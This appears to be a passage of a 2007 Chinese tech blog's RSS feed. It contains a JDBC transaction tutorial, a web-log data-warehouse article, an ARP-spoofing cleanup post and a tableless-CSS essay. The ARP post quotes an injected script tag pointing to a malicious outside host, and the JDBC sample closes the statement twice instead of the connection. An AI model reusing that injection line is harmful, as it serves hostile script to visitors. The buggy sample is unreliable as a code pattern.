GMT</pubDate></item><item><title>[JAVA]JavaBean中使用JDBC方式进行事务处理[转]</title><link>http://www.chendw.cn:8080/view.aspx?id=112</link><description>&lt;div id="blog_text" class="cnt"&gt;　　在&lt;a title="JavaBean" href="http://search.yesky.com/search.do?wd=JAVABEAN&amp;amp;appType=1&amp;amp;columnId=324&amp;amp;sortType=0&amp;amp;btnsearch=%CB%D1" target="_blank"&gt;&lt;strong&gt;&lt;u&gt;JavaBean&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;数据库操作中，一项事务是指由一条或多条对数据库更新的sql语句所组成的一个不可分割的工作单元。只有当事务中的所有操作都正常完成了，整个事务才能被提交到数据库，如果有一项操作没有完成，就必须撤消整个事务。我们通过提交commit()或是回滚rollback（）来结束事务的操作。关于事务操作的方法都位于接口java.sql.Connection中。&lt;br&gt;&lt;br&gt;　　 在第一次建立与数据库的连接时，在缺省情况下，连接是在自动提交模式下的， &lt;a title="jdbc" href="http://search.yesky.com/search.do?wd=jdbc&amp;amp;appType=1&amp;amp;columnId=324&amp;amp;sortType=0&amp;amp;btnsearch=%CB%D1" target="_blank"&gt;&lt;strong&gt;&lt;u&gt;jdbc&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; api中，可以通过调用setAutoCommit(false) 来禁止自动提交事务。然后就可以把多条更新数据库的sql语句做为一个事务，在所有操作完成之后，调用commit（）来进行整体提交。倘若其中一项sql操作失败，就不会执行commit（）方法，而是产生相应的sqlexception，此时就可以捕获异常代码块中调用rollback（）方法撤消事务。下面是一个例子；&lt;br&gt;&lt;br&gt;　　比如:有两张表，一个记录用户帐户（useraccount），一个是系统帐（sysaccount），现在有一个用户要向系统寄钱买东西，就要此行下面两条语句：&lt;br&gt;&lt;br&gt;String sql1 = "update useraccount set monery=monery-1000 where name='username'";&lt;br&gt;String sql2 = "update sysaccount set monery=monery+1000 where name='sysname'"; &lt;br&gt;&lt;br&gt;　　但如果第一条执行了而第二条语句执行出错了就会造成不良后果。这是就可以用手动提交的方式来防止这种事情的发生：主要代码&lt;br&gt;&lt;br&gt;&lt;table width="90%" align="center" bgcolor="#cccccc"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td&gt;try{&lt;br&gt;　.&lt;br&gt;　.&lt;br&gt;　. &lt;br&gt;　conn=DriverManager.getConnection("..."); //链接数据库 &lt;br&gt;&lt;br&gt;　conn.setAutoCommit(false);//禁止自动提交事务 &lt;br&gt;　stmt = conn.Create....&lt;br&gt;　String sql1 = "update useraccount set monery=monery-1000 where name='usename'";&lt;br&gt;　String sql2 = "update sysaccount set monery=monery+1000 where name='sysname'"; &lt;br&gt;　stmt=conn.createStatement(); &lt;br&gt;　stmt.executeUpdate(sql1); &lt;br&gt;　stmt.executeUpdate(sql2); &lt;br&gt;&lt;br&gt;　conn.commit(); //统一提交。&lt;br&gt;&lt;br&gt;　}catch(SQLException e){ &lt;br&gt;　　conn.rollback(); //倘若其中一项sql操作失败，就不会执行commit（）方法，而是产生相应的sqlexception，此时就可以捕获 异常代码块中调用rollback（）方法撤消事务。 &lt;br&gt;　　e.printStackTrace(); &lt;br&gt;　} &lt;br&gt;　finally{ &lt;br&gt;　　if(stmt!=null){ &lt;br&gt;　　　stmt.close(); &lt;br&gt;　　} &lt;br&gt;　　if(conn!=null){ &lt;br&gt;　　　stmt.close(); &lt;br&gt;　　} &lt;br&gt;　}&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=112</guid><pubDate>Thu, 27 Sep 2007 04:46:00 GMT</pubDate></item><item><title>[数据仓库]用于挖掘Web日志的数据仓库系统实现[转]</title><link>http://www.chendw.cn:8080/view.aspx?id=111</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;&lt;span&gt;作者： 吴瑛 王秋生&lt;/span&gt;&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;摘 要&lt;/strong&gt; 运用&lt;a title="数据仓库" target="_blank" href="http://search.yesky.com/search.do?wd=%CA%FD%BE%DD%B2%D6%BF%E2&amp;amp;appType=1&amp;amp;columnId=324&amp;amp;sortType=0&amp;amp;btnsearch=%CB%D1"&gt;&lt;strong&gt;&lt;u&gt;数据仓库&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;技术分析Web日志是目前Web使用挖掘的研究热点。本文从Web日志数据库设计、数据预处理和逻辑建模三个阶段阐述了Web日志数据仓库系统的整体实现。文章详细论述了将Web日志导入数据库中的方法，给出了具体的预处理过程，在此基础上实现了Web日志管理系统，最后提出Web日志数据仓库的逻辑模型。&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;1、引言&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;　　目前已经有很多学者和研究机构意识到网站日志数据巨大的潜在价值，试图通过对Web日志的研究来改善网站设计，理解用户的兴趣和真正动机等。多数现有的Web分析工具提供了用户在服务器上的活动情况及各种形式的过滤数据，使用这类工具可以确定对某个服务器或单个文件的访问次数、访问时间以及用户的域名和URL。但是对于Web日志数据仓库系统进行总体设计上的研究并不多，而这项工作对于研究用户访问模式和提高挖掘的效率是很有意义的。本文以某网站Web日志文件为例，在JAVA平台上对其数据仓库的建构进行了研究。&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;2、Web日志数据采集&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;　　服务器日志的格式根据Web服务的应用及安装时的选项而有所不同，一般用两种格式存储：一种是普通日志文件格式;另一种是扩展日志文件格式。普通日志文件存储的是客户端IP、用户名、状态、服务器名、协议版本等客户连接的物理信息。扩展日志文件格式主要支持关于日志文件元信息的指令，如版本号、会话监控开始时间和浏览器类型等。下面是一条典型的日志及其各字段详细解释：&lt;/p&gt;&lt;p&gt;　　2004-12-13 0：00：45 172.16.96.22 - 211.66.184.35&lt;/p&gt;&lt;p&gt;　　80 GET /~janyst/chat/chatUsers.php - 200 Mozilla/4.0+ (compatible;+MSIE+6.0;+Windows+NT+5.1)&lt;/p&gt;&lt;p&gt;　　● Date and Time：请求的日期、时间;&lt;/p&gt;&lt;p&gt;　　● c_ip：访问用户的 IP 地址或者用户使用的代理服务器 IP 地址;&lt;/p&gt;&lt;p&gt;　　● userName：用户名，由于通常用户没有进行注册，故一般都为占位符所替代;&lt;/p&gt;&lt;p&gt;　　● s_ip：客户端访问网站的IP 地址;&lt;/p&gt;&lt;p&gt;　　● s_port：客户端访问网站的端口号;&lt;/p&gt;&lt;p&gt;　　● cs_method：访问者的请求命令，常见的方法有三种，分别是 GET、POST 和 HEAD;&lt;/p&gt;&lt;p&gt;　　● cs_uri_stem：访问者请求的资源，即相对于服务器上根目录的途径，上例中为/~janyst/chat/chatUsers.php;&lt;/p&gt;&lt;p&gt;　　● query：协议类型，上例中为HTTP/1.1;&lt;/p&gt;&lt;p&gt;　　● Status：服务器返回的状态代码。一般而言，以2开头的状态代码表示成功，以3开头表示由于各种不同的原因用户请求被重定向到了其他位置，以4开头表示用户端存在某种错误，以5开头表示服务器遇到了某个错误;&lt;/p&gt;&lt;p&gt;　　● userAgent：附加信息，包括浏览器类型、操作系统等。&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;3、Web日志管理系统架构&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;　　Web日志管理系统功能是完成Web日志的预处理和存储，主要由数据采集模块、数据库创建模块、数据库清除模块和数据集生成模块等组成，图1为系统用户界面。&lt;/p&gt;&lt;p&gt;　　&lt;img height="276" alt="Web日志管理系统用户界面" width="412" src="http://dev.yesky.com/imagelist/2007/269/f8glw3yf4dqh.bmp"&gt;&lt;br&gt;　　图1 Web日志管理系统用户界面&lt;/p&gt;&lt;p&gt;　　该系统是在Eclipse环境下搭建的，主要由四个模块组成，分别为数据库建立模块、数据采集模块、数据库清除模块和数据集生成模块组成。各模块功能介绍如下：&lt;/p&gt;&lt;p&gt;　　● 数据库生成模块：在已创建的空数据库里生成用于存储Web日志数据的各个二维表;&lt;/p&gt;&lt;p&gt;　　● 数据采集模块：功能主要是将Web日志导入已生成的数据库的各个表中。首先解析Web日志，即将文本格式的日志依次读入到数组中;其次对日志进行基本的预处理，具体的预处理过程会在下节中详细介绍;最后将预处理后的数据存储到数据库中;&lt;/p&gt;&lt;p&gt;　　● 数据库清除模块：可以清除数据库中已创建的各个表，数据库仍然保留;&lt;/p&gt;&lt;p&gt;　　数据集生成模块：可将Web日志以文本形式导出。&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;4、Web日志数据库&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;　　4.1 Web日志数据库介绍&lt;/p&gt;&lt;p&gt;　　Web日志数据仓库是基于Web日志数据库。根据分析需求，将数据库分为5个表，图2为其ER图，各表功能分别为：(1)IDTbl存储解析后日志的各个属性的 ID号;(2)UserTbl存储访问者的基本信息;(3)PathTbl存储访问路径的相关信息;(4)TimeTbl存储访问时间的相关信息;(5)ProtocolTbl：存储日志其它信息;&lt;/p&gt;&lt;p&gt;　　&lt;img height="213" alt="Web日志数据库ER图" width="314" src="http://dev.yesky.com/imagelist/2007/269/jh0p6xam7h73.jpg"&gt;&lt;br&gt;　　图2 Web日志数据库ER图&lt;/p&gt;&lt;p&gt;　　4.2 Web日志预处理&lt;/p&gt;&lt;p&gt;　　在将原始Web日志导入关系数据库之前必须进行清理、转换，计算一些必要的聚集信息。日志数据有其特殊性，它是一种半结构化的数据，因此预处理过程有其特殊性。本文在构建Web日志数据库时通过数据清洗、用户识别和会话识别这几个步骤。&lt;/p&gt;&lt;p&gt;　　4.2.1 数据清洗&lt;/p&gt;&lt;p&gt;　　Web日志的清洗工作很多文献都有讨论。当用户请求一个网页时，与这个网页有关的图片、音频等信息会自动下载，并记录在日志中。这些文件对于日志的分析是无用的，所以可以通过检查cs_uri_stem的后缀删除认为不相关的数据。同时无效记录还包括请求失败记录。本文在进行数据清洗时具体过程如图3所示：&lt;/p&gt;&lt;p&gt;　　&lt;img height="259" alt="数据清洗流程图" width="290" src="http://dev.yesky.com/imagelist/2007/269/wx6at27beqsg.jpg"&gt;&lt;br&gt;　　图3 数据清洗流程图&lt;/p&gt;&lt;p&gt;　　4.2.2 用户识别&lt;/p&gt;&lt;p&gt;　　用户识别是将用户和请求的页面相关联的过程。由于用户机器中缓存、防火墙、代理服务器的使用，使Web日志没有精确记录用户的浏览行为。因此从净化日志中识别用户工作相对比较复杂。主要的用户识别方法主要有三种，分别为基于cookie的技术、基于IP地址的用户识别以及基于网络拓扑结构的路径分析。方法一通过在Web日志文件中添加更多的附加信息如用户机器名、内部IP名来标示用户，从而能识别通过同一代理服务器上网的不同用户。方法二是指不同的IP地址代表不同的用户。方法三要求根据网络拓朴结构分析Web日志文件中的用户请求，构造用户浏览网页的路径，通过一些启发式规则来识别用户。由于本文用到的日志属性信息较多，包括浏览器和操作系统属性，所以系统采用基于IP地址和浏览器的方法进行用户识别，即不同的IP地址和浏览器类型代表不同的用户，并在数据库的表UserTbl以及表IDTbl中添加一个域userID，用于存储进行识别后的用户标识。具体的过程如图4所示：&lt;/p&gt;&lt;p&gt;　　&lt;img height="206" alt="用户识别流程图" width="229" src="http://dev.yesky.com/imagelist/2007/269/9772732ksws1.jpg"&gt;&lt;/p&gt;&lt;p&gt;　　图4 用户识别流程图&lt;/p&gt;&lt;p&gt;　　4.2.3 会话识别&lt;/p&gt;&lt;p&gt;　　会话是指用户在访问网站期间从进入网站到离开网站所进行的一系列活动。要构造一个会话就是将每个用户的活动日志按照某种方法映射到会话中的过程。识别会话的方法主要有两种：基于时间的启发式方法和基于引用的启发式方法。前者利用会话的时间特性来构造会话候选集合;后者根据用户浏览特性和网页间链接关系确定用户会话集。&lt;/p&gt;&lt;p&gt;　　本文采用基于时间的启发式方法进行会话识别，即同一用户依次发出相邻的页面请求之间的时间间隔如不超过时间阈值，那么这两个页面请求属于同一个会话将时间阀值设定为20分钟。在数据库表中添加一个域sessionID，用于存储进行识别后的会话标识。进行会话识别的具体流程如图5所示。&lt;/p&gt;&lt;p&gt;　　5 Web日志数据仓库逻辑建模&lt;/p&gt;&lt;p&gt;　　要建立Web日志数据仓库，首先要进行逻辑建模。数据仓库一般有两种逻辑模式：星型模式和雪花模式。&lt;/p&gt;&lt;p&gt;　　星型模式是一种关系型数据库结构，其典型形式是由中间的一个主表和围绕在其周围的一组小表组成，中间的主表称为“事实表”，外围的小表称为“维度表”。事实表中存储数值型度量指标和连接到维度表的外键，它包含了描述特定商业事件的数据，例如产品销售、网站访问情况等;维度表中存储用于描述事物的文本属性信息及连接到事实表的主键，它包含了用于参考存储在事实表中数据的数据，如时间、地理位置等。雪花模式是星型模式的变种，将一个或多个维表分解成多个表，每个表都有连接到主维度表而不是事实数据表的相关性维度表。&lt;/p&gt;&lt;p&gt;　　&lt;img height="325" alt="会话识别流程图" width="290" src="http://dev.yesky.com/imagelist/2007/269/0b5q71mc28x8.jpg"&gt;&lt;br&gt;　　图5 会话识别流程图&lt;/p&gt;&lt;p&gt;　　根据分析主题的需要，Web日志数据仓库采用常用的星型模式，在SQL Sever 2000提供的Analysis Services平台下实现。结果如图6，它包括一个大的事实表和一组小的维表，事实表为FactTbl表，维度表为UserTbl、TimeTbl、PathTbl 以及ProtocolTbl，其中FactTbl表是由关系数据库中IDTbl表转换而来。&lt;/p&gt;&lt;p&gt;　　&lt;img height="355" alt="Web日志数据仓库多维逻辑模型" width="414" src="http://dev.yesky.com/imagelist/2007/269/s8i98gsvbb28.jpg"&gt;&lt;br&gt;　　图6 Web日志数据仓库多维逻辑模型&lt;/p&gt;&lt;p&gt;　　在关系数据库中对IDTbl表进行聚集计算，可得到用户一次会话中每个页面的停留时间timestay，并通过离散化技术将timestay属性转化为每一页面的平均访问次数，定义为visit属性。关于这一过程，Cooley等在文献 [5] 中给出了详细步骤。将这两个属性及IDTbl表其它属性一起添加到FactTbl表，即形成了数据仓库的事实表，其中timestay和visit作为事实表的度量值，即希望在数据仓库中能查看并可以预测的数据。&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;6、结论&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;　　综上所述，实现一个Web日志数据仓库原型系统有两个关键点：预处理和逻辑建模。本文在解析Web日志时采取的一些预处理方法事实证明收到了良好的效果，可比较精确地识别用户及会话;在进行逻辑建模时采用星型逻辑模型，运用大量的冗余维度数据进行设计，大大提高了信息的检索性能。同时，文章实现了一个数据仓库原型系统，该系统简单实用，对原始的Web日志信息进行了维度上的分类，便于从特定时间段、特定用户等角度来实现对Web日志数据的进一步挖掘。&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=111</guid><pubDate>Wed, 26 Sep 2007 07:56:00 GMT</pubDate></item><item><title>[病毒]1.js病毒-ARP病毒处理方法</title><link>http://www.chendw.cn:8080/view.aspx?id=110</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;症状：打开任何一个网页“右键”---“查看源文件” 在顶部都有 &lt;/p&gt;&lt;p&gt;&lt;font color="#ff0000"&gt;&lt;strong&gt;&lt;font size="3"&gt;&amp;lt;script src=&lt;font face="Verdana"&gt;http://******/1.js&amp;gt;&amp;lt;/script&amp;gt;&lt;/font&gt;&lt;/font&gt;&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 这个是个ARP病毒，必须先找到局域网内中毒的机器，即使你自己电脑杀毒无数次也没用,因为问题根本不出在自己的电脑身上,问题是出在同LAN的电脑里,中毒电脑会主动在交换机和路由器里找HTTP数据包添加上&lt;font color="#800080"&gt;&lt;a href="http://67.19.116.187/1.js"&gt;http://67.19.116.187/1.js&lt;/a&gt;&lt;/font&gt;的文件头.&lt;strong&gt;这种行为就是ARP欺骗&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;您首先需要下载此反ARP工具软件：解决工具下载地址:&lt;a target="_blank" href="http://www.v628.com/v628-arp.rar"&gt;http://www.v628.com/v628-arp.rar&lt;/a&gt;&lt;/p&gt;&lt;p&gt;然后把正确的网关IP地址和MAC填写到&lt;font face="Verdana"&gt;Config.ini配置文件中&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Verdana"&gt;&lt;font face="Verdana"&gt;[ARPConfig]&lt;br&gt;IP Address=192.168.1.1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //此处填写您自己的网关IP地址&lt;br&gt;Mac Address=00-14-78-FB-8C-00&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //此处填写您自己的网关MAC地址&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/1603b25157873912367abea6.jpg"&gt;&lt;/div&gt;&lt;font face="Verdana"&gt;&lt;font face="Verdana"&gt;&lt;p&gt;然后利用此工具可发现具体某台电脑在发ARP欺骗，然后针对某台中毒电脑进行杀毒处理&lt;/p&gt;&lt;p&gt;汗，这个中秋节被这个病毒折磨的够呛，导致医院内部OA系统不能正常使用。折腾了大半个下午才解决。&lt;/p&gt;&lt;div class="tmpDiv"&gt;&lt;/div&gt;&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=110</guid><pubDate>Tue, 25 Sep 2007 09:00:00 GMT</pubDate></item><item><title>[HTML进阶]创建无表格网站的原因和原则</title><link>http://www.chendw.cn:8080/view.aspx?id=108</link><description>&lt;div id="blog_text" class="cnt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In a time of web developers who just like to say that 'Tables are Evil' and can't (or won't) explain why, this article will attempt to give you some solid reasons that people create tableless designs. Included are six major benefits of creating tableless sites, and how to sell your desire to alter your website to a resistant manager.&amp;nbsp;&amp;nbsp;&lt;br&gt;一时间，网页设计师们都在说：表格是魔鬼！但是他们并不能讲出其中的原因。那么在这里，我将给你一些具有说服力的理由，表明为什么人们不愿意使用表格来创建网页。其中包括创建无表格网站的四个好处，以及如何将网站转变为经久不衰的“统治者”，并将它推销出去。 &lt;br&gt;Let's begin with the benefits of a tableless layout. These are only in the order that I feel they should go in, some things are more important to other people, so rank them as you will.&amp;nbsp;&amp;nbsp;&lt;br&gt;让我们先从表格布局的好处开始讲起。之所以把它列在其中是因为他对很多人是至关重要的。 &lt;br&gt;Forces You To Write Well-Formed Code&amp;nbsp;&amp;nbsp;&lt;br&gt;迫使你书写格式严谨的代码 &lt;br&gt;You cannot have a properly made tableless layout, and use improper and non-standard code. Well, let me correct that - you can (technically you can do it) but it defeats the whole purpose. When you are creating a tableless design, you should be using standards compliant code. I think that anything that makes you get into the habit of always writing clean code is a good thing.&amp;nbsp;&amp;nbsp;&lt;br&gt;你不可能使用不合适的或不标准的代码来进行无表布局。让我更正一下——你可以（仅从技术角度来说），但是，这样做会使得所有目标落空。当你进行无表设计时，你必须使用一套合适的、标准的代码。我认为，能够让你养成一个好的编程习惯的所有事情都是好事情。 &lt;br&gt;Faster Loading Time&amp;nbsp;&amp;nbsp;&lt;br&gt;下载更快 &lt;br&gt;This is absolutely a benfit of a tableless layout, and for several reasons. First, on a fundamental level - tables load slowly. For the most part, unless you set the height and width of your table elements, all the text has to be loaded and rendered BEFORE the table sizes itself to the page. Of course, this is what so many people loved about tables isn't it? The fact that they were so easily sizeable. The downside is how much more time they take to load.&amp;nbsp;&amp;nbsp;&lt;br&gt;无表布局非常有好处，其中包含下面这几个理由：1、从基本原理上讲，使用表格布局将减缓下载速度；更重要的一点，无论你怎样设置表格元素的高度和宽度，表格内的所有元素都将在加载表格之前加载，这可能是很多人热衷表格布局的原因吧！事实上，表格的尺寸一般都很大，所以它们反而会加载更长的时间。我们不能忽视它的下载时间。 &lt;br&gt;Okay, so the solution to that loading time is to set all the values explicitly, right? So now we see another downside. Code clutter that increases loading time. First of all, just by themselves, tables take a lot of code. How many td open and close tags does your average table based layout have? Tons. Having to set all the values explicitly only adds to the page size and loading time. There are many experiments that have been done on this topic, I'll point you toward this one that StopDesign did on a remake of the Microsoft website from a tablebased site to a tableless layout. That remake showed a 62% file size reduction of the site, and using their average hits per month for the Microsoft site, calculated that Microsoft would be saving 924 GIGS in bandwidth per day, and 329 Terabytes of bandwidth per year. For any company that pays for bandwidth, these things are important.&amp;nbsp;&amp;nbsp;&lt;br&gt;因此，我们必须把所有的值设置清楚，从而减少下载的时间。接下来让我们看看其它的缺点吧：代码的混乱会增加加载的时间。首先，表格本身包含了大量的代码，你可以数数看其中包含了几个“td”开始和结束标签，我想应该是很多吧。为了把它们设置的清楚一点，必须增加网页的尺寸从而导致下载时间延长。关于这个主题，我们已进行了多次实验。尽量不要再使用表格进行布局了，看看微软的做法吧，他们原来是使用表格布局的已经开始使用非表格布局了。研究表明，这种做法为该网站节省了62%的空间大小；通过每月平均点击率计算，微软将每天节省924 GIGS的带宽，一年将节省329Terabytes的带宽。对于任何一家带宽占用较大的公司，这样做都是非常必要的。 &lt;br&gt;Easier to Read Code&amp;nbsp;&amp;nbsp;&lt;br&gt;增加代码的易读性 &lt;br&gt;If you are using standard code, semantic document conventions, and a tableless layout, your code can be so clean that it looks practically like just regular text with a few extra symbols.&amp;nbsp;&amp;nbsp;&lt;br&gt;如果使用的是标准代码，标准语义文档和非表格布局，那么你的代码将看上去非常清楚，简直就如同一个带有一些特殊符号的惯用文本。 &lt;br&gt;That is a great benefit because it not only makes it easier for you to update, but it makes it easier for a non-technical user to make small alterations to. Additionally, if you work as a web developer in a more freelance capacity, it is common for there to be a full-time web developer who has to maintain that site. Clean and simple to read code makes that a easy transition. We like it when people leave us easy to understand code, right? Let's return the favor.&amp;nbsp;&amp;nbsp;&lt;br&gt;使用非表格布局的好处不仅在于方便你对网页进行更新，而且还可以使非转业的人对其进行细微地修改和转换。另外，如果你是一个自由职业的网页设计师，你也可以让专业网页设计师记住你的网站。代码的简明性可以使代码转化工作变得非常容易。我们都希望代码开发者们为我们留下的是简单的代码，所以，当我们书写代码时，也考虑考虑这点吧。 &lt;br&gt;Print Alternate Views&amp;nbsp;&amp;nbsp;&lt;br&gt;方便的样式定义 &lt;br&gt;When you create a page using a table-layout, you are rather unfortunately locked into a certain layout. Developers who have created table-based websites, as most of us have at some point - particularly if you were in the the industry before the big tableless movement, know that you often have to create a separate printable version of your pages. This can be, needless to say, quite tiresome.&amp;nbsp;&amp;nbsp;&lt;br&gt;当我们使用表格布局创建网页时，你不应该拘泥于一种特定的布局方法。使用表格布局的开发者，如同我们当中的大多数人一样，必须要注意一点，如果你是在“网页设计无表格化”运动之前从事设计工作的，你必须为每张网页创建一种独立的样式，这样做非常繁琐。 &lt;br&gt;Ease of printing style control is a huge benefit with a tableless layout. You can easily create a single new printing style that applies to all your pages, instead of making them individually. That alone is a huge time saver, but there is more.&amp;nbsp;&amp;nbsp;&lt;br&gt;简易的输出样式控制是无表化布局的一个巨大优势。你可以轻松地创建一种简单的全新布局，并将其运用到所有网页中，而无需对每个页面都设计一套样式。这无疑会节省巨大的时间。 &lt;br&gt;While you can control all elements with this approach, the biggest key is organization of information within the page itself. Using the example, let's assume that the display order we want all our pages to print using the following order: The page header first, the content next, the special news after that, then the link list, and then the footer. However! We still want it to display as it would normally when viewing (meaning the header at the top, the links on the left, content in the middle, news on the right, and footer at the bottom). With a table-based layout, you would have to create a new page to do that special printing organization because the print style will read your columns left to right. With a table-less layout, you are not bound by this. You can order the content in your page however you like, and still control the way it looks... all by using the CSS only !&amp;nbsp;&amp;nbsp;&lt;br&gt;当你使用这种方法控制所有元素时，那么首先要考虑的一个关键点就是：如何将页面本身的所有信息有效地组织起来。让我们设想一下下面的排序方式：首先是页首，接下来是内容，然后是特定的新闻信息和链接列表，最后是页脚。然而，我们仍然希望它按照我们正常的浏览习惯进行显示（即：页首在最顶端；链接列表在中间左端；内容在中间；新闻在中间右端；页脚在最底端）。如果你使用表格布局的话，那么你必须重新创建一个页面，因为表格的读取顺序是从左往右的；但是，如果你使用了无表化布局，那你就不会被这种形式所束缚。你可以随心所欲的摆放内容的位置并很好的对它进行控制。而只需要使用CSS便可以顺利实现上述的目的。 &lt;br&gt;Additionally, because we can put the content in whatever order we want in the HTML, and then move the content blocks around for website viewing using CSS - we can have ultimate control over presentation.&amp;nbsp;&amp;nbsp;&lt;br&gt;另外，因为我们可以使用CSS将所有内容或部分内容放在HTML页面中的任何地方，因此，我们可以对它的表现方式做出随意的控制。 &lt;br&gt;That is very important because the clean code, and ability to alter presentation, means that your site can be viewable by someone on a small mobile phone screen。The flexibilty and organization leads to being able to create a powerful website that takes advantage of some of the possibilities with XHTML.&amp;nbsp;&amp;nbsp;&lt;br&gt;因为代码的精简是如此的重要，它可以随意的控制内容的表达方式和位置，因此，即使是在一个手机屏幕上，也可以很轻松的展现你的网页。我们可以利用XHTML的扩展性和组织性来创建优秀的网站。 &lt;br&gt;Search Engine Optimization&amp;nbsp;&amp;nbsp;&lt;br&gt;搜索引擎优化 &lt;br&gt;Due to the fact that you can organize your most important content at the top of your page, without affecting the layout, your page can be better optimized for search engines. For instance, say that I have a navigation bar on the left side of the page that lists tons of parts of the site that are actually great keywords. I could move that navigation bar code higher up in my actual HTML, without changing the layout, because I'm using the CSS to position the navigation where I want it.&amp;nbsp;&amp;nbsp;&lt;br&gt;因为你可以使用无表化布局将最重要的内容放在页面顶端，而这样做又不会影响整个布局，那么你的页面可以最大限度的执行搜索引擎优化。举个例子来说，我在页面的左边部分放置了导航条，上面写了一些关注率非常高的关键词。因此我可以把导航条代码写在HTML代码之前而不影响整个页面布局。因为我是使用CSS来调整它的位置的。 &lt;br&gt;Those search engines can also more clearly find common words throughout your document without having to filter through code. Search engines prioritize websites that have a higher content to code ratio, so putting all your style elements into your external CSS stylesheet makes your site highly content based to a search engine. Tableless layouts, as previously mentioned, decrease page size and loading time - another bonus to search engines.&amp;nbsp;&amp;nbsp;&lt;br&gt;搜索引擎不需要过滤代码就可以找到将整个文档的通用关键字。搜索引擎会搜索那些内容比例所占页面比例较多的页面，因此，把样式元素放到外部样式表中，这样可以使内容凸显出来。上描提到的无表化布局，明显的减少了页面尺寸和下载时间，可以更大限度的利用搜索引擎。 &lt;br&gt;Presentation Flexibility&amp;nbsp;&amp;nbsp;&lt;br&gt;全方位适应性 &lt;br&gt;Making changes to a CSS based Tableless layout is simple. You can alter the CSS file only, changing as many styles and graphics as you want. The affects cascade through all the pages on your website, and eliminate the need for manually updating many pages.&amp;nbsp;&amp;nbsp;&lt;br&gt;以CSS为基础的无表化布局是非常简易的一种方法。你可以通过转变CSS文件来更改你所希望的样式和图片。在整个网站中使用层叠样式表可以减少日常页面更新的工作量。 &lt;br&gt;For one of the best known examples of how powerful presentation can be, you can visit the CSS Zen Garden and navigate through the 'Select a Design' links to see the differences. Each of the different designs uses exactly the same HTML file content. The only thing that changes is the CSS file for each one.&amp;nbsp;&amp;nbsp;&lt;br&gt;你可以访问一下著名的网站：CSS Zen Garden，在整个页面布局上，它堪称经典。你可以通过点选导航条上的“Select a Design”来查看不同的布局风格。每个不同的设计风格都使用了完全一致的HTML内容。它仅通过使用不同的CSS来改变HTML的内容。 &lt;br&gt;Selling Yourself On Standards&amp;nbsp;&amp;nbsp;&lt;br&gt;用不同的标准来推销你自己 &lt;br&gt;Sometimes knowing how to code for standards, and create flexible tableless layouts is not enough. There are some web designers who meet with difficulties from their management. Most often those difficulties are rooted in the management being unaware of the benefits of using tableless content and CSS driven layout.&amp;nbsp;&amp;nbsp;&lt;br&gt;这里要说的是：使用标准的代码，创建可扩展的无表格布局还是不够的。一些网站设计师还是遇到了很多网站管理上的困难。在大多数情况下，这都是由于忽略了无表化布局的内容以及CSS布局方式而导致的。 &lt;br&gt;If you want to design for standards, but you work for a company that is not very forward-thinking in allowing you the time to work on the changes -- try this: Make them think about their pocket-book. Point out the cost saving benefits.&amp;nbsp;&amp;nbsp;&lt;br&gt;如果你希望进行标准化设计，但是你所在的公司不允许这么做，因为可能会耽误时间。那么你可以这样做：把它们记载袖珍笔记本中，并指出哪里可以节省成本。 &lt;br&gt;For instance, try grabbing a single page of existing code. Clean it up to standards. Compare the page size to before (including image optimization), and count the difference in bytes saved. Multiply that across the number of site pages, and the number of days per month. Then explain to them the amount of bandwidth cost saved monthly if this was done across the whole site. If that isn't enough, show them how quickly you can make changes to a website once it is CSS driven, and push the idea that you will be able to change the site more rapidly when there are needed updates, and you will have more time to focus on adding in new functionality to the site - instead of spending your time doing maintenance.&amp;nbsp;&amp;nbsp;&lt;br&gt;举个例子来说，尽可能的抓取现有的代码页面，并将其中的代码以简明标准的代码格式重新书写。然后，比较前后两者页面的尺寸差异（包括对图片的优化），计算尺寸差值。然后，说明一下，如果按照新的布局方式，每个月可以省去多少带宽成本。如果这样还不够，你可以再具体说明一下，如果用CSS布局会提高多少下载速度；并且，在页面更新的时候，可以省去多少更新时间。这样一来，你就可以把时间省下来用于提升网站的功能性——这样就省去了大部分维护的时间。 &lt;br&gt;Summary&amp;nbsp;&amp;nbsp;&lt;br&gt;总结 